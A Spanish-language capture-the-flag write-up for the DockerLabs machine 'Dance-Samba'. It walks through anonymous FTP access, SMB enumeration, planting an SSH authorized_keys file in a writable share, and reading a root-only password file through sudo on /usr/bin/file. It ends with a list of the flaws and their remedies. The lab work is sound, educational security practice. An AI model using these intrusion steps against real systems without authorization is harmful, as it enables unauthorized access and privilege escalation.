Ir al contenido

Dance-Samba

Este documento detalla la resolución completa de la máquina Dance-Samba, desarrollada por d1se0 para la plataforma DockerLabs y clasificada como Medio.

El objetivo es describir el proceso completo de compromiso del sistema, desde la enumeración inicial hasta la escalada de privilegios, analizando cada vector de ataque y destacando las vulnerabilidades explotadas.

La metodología se divide en tres fases principales:

  1. Reconocimiento: identificación de servicios expuestos y análisis inicial.
  2. Explotación: obtención de acceso inicial abusando del servicio SMB.
  3. Escalada de privilegios: uso de un binario SUID para obtener acceso a root.

Todas las acciones se realizaron en el entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreDance-Samba
Autord1se0
DificultadMedio
Fecha26/08/2024
PlataformaDockerLabs

Se descomprime y despliega la máquina:

Ventana de terminal
unzip "Dance-Samba.zip"
sudo bash auto_deploy.sh "Dance-Samba.tar"

IP asignada


Ventana de terminal
mkdir -p Dance-Samba/{content,exploits,nmap,gobuster,scripts}
cd Dance-Samba
Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos abiertos:

  • 21/tcp – FTP
  • 22/tcp – SSH
  • 139/tcp – SMB
  • 445/tcp – SMB

Puertos abiertos

Ventana de terminal
nmap -sCV -p21,22,139,445 172.17.0.2

Servicios abiertos

Se observa que FTP permite acceso anónimo, lo cual es un vector relevante.


Accedemos como usuario anónimo:

Ventana de terminal
ftp 172.17.0.2

ftp

Descargamos nota.txt:

nota.txt

El archivo contiene dos pistas importantes: Macarena y donald.


Usamos enum4linux:

users enum4linux

shares enum4linux

Se confirma:

  • Usuario válido: macarena
  • Compartición SMB: macarena

Accedemos al recurso SMB usando el usuario identificado:

Ventana de terminal
smbclient //172.17.0.2/macarena -U macarena

content of smb

Encontramos el archivo user.txt:

content of user.txt

El hash no es crackeable, pero la carpeta tiene permisos de escritura, por lo que podemos introducir nuestras propias claves SSH.


Creamos la carpeta:

Ventana de terminal
mkdir .ssh

Creamos clave RSA (si no existe):

Ventana de terminal
ssh-keygen -t rsa -b 4096

Copiamos nuestra clave pública:

Ventana de terminal
cp ~/.ssh/id_rsa.pub .

Subimos al servidor:

Ventana de terminal
cd .ssh/
put id_rsa.pub

Creamos authorized_keys en local:

Ventana de terminal
cat id_rsa.pub > authorized_keys

Lo subimos:

Ventana de terminal
put authorized_keys

Finalmente, accedemos al sistema:

Ventana de terminal
ssh -i ~/.ssh/id_rsa macarena@172.17.0.2

ssh conect


Revisamos contenido del directorio:

content of hash

El archivo contiene un dato codificado. Tras procesarlo en CyberChef:

cyberchef

Obtenemos:

supersecurepasword

Probamos contraseña con Macarena → funciona.

Hacemos:

Ventana de terminal
sudo -l

sudo -l

Tenemos permiso sudo sobre /usr/bin/file.

Buscamos archivos a los que solo root puede acceder:

ls -la opt

Leemos el archivo con file:

Ventana de terminal
sudo file -f /opt/password.txt

sudo file

Obtenemos credenciales:

root : rooteable2

Hacemos:

Ventana de terminal
su root

id root


  1. FTP anónimo habilitado Permite acceso directo sin autenticación y exposición de archivos internos.

  2. Credenciales y pistas almacenadas en texto plano nota.txt, hashes y contraseñas expuestos sin protección.

  3. Permisos de escritura en el home de un usuario real a través de SMB Posibilita el secuestro de sesión mediante claves SSH.

  4. Hash reversible sin medidas de protección adicionales Codificación en base32/base64 sin cifrado real.

  5. Archivo sensible accesible únicamente con binario SUID vulnerable El binario /usr/bin/file permite leer archivos de root.

  6. Contraseña débil para root (rooteable2) Fácilmente adivinable o derivable.


  1. Deshabilitar FTP anónimo y usar SFTP o FTPS Evita accesos no autorizados.

  2. Eliminar archivos con información sensible en texto plano Centralizar credenciales en un sistema seguro.

  3. Configurar correctamente permisos en SMB Evitar permisos de escritura en directorios de usuarios críticos.

  4. Usar hashing seguro (bcrypt, argon2) Evitar codificaciones triviales como base64/base32.

  5. Eliminar binarios SUID innecesarios O restringirlos con medidas como AppArmor o sudoers.

  6. Imponer políticas de contraseñas fuertes Longitud mínima, complejidad, caducidad y bloqueo por intentos.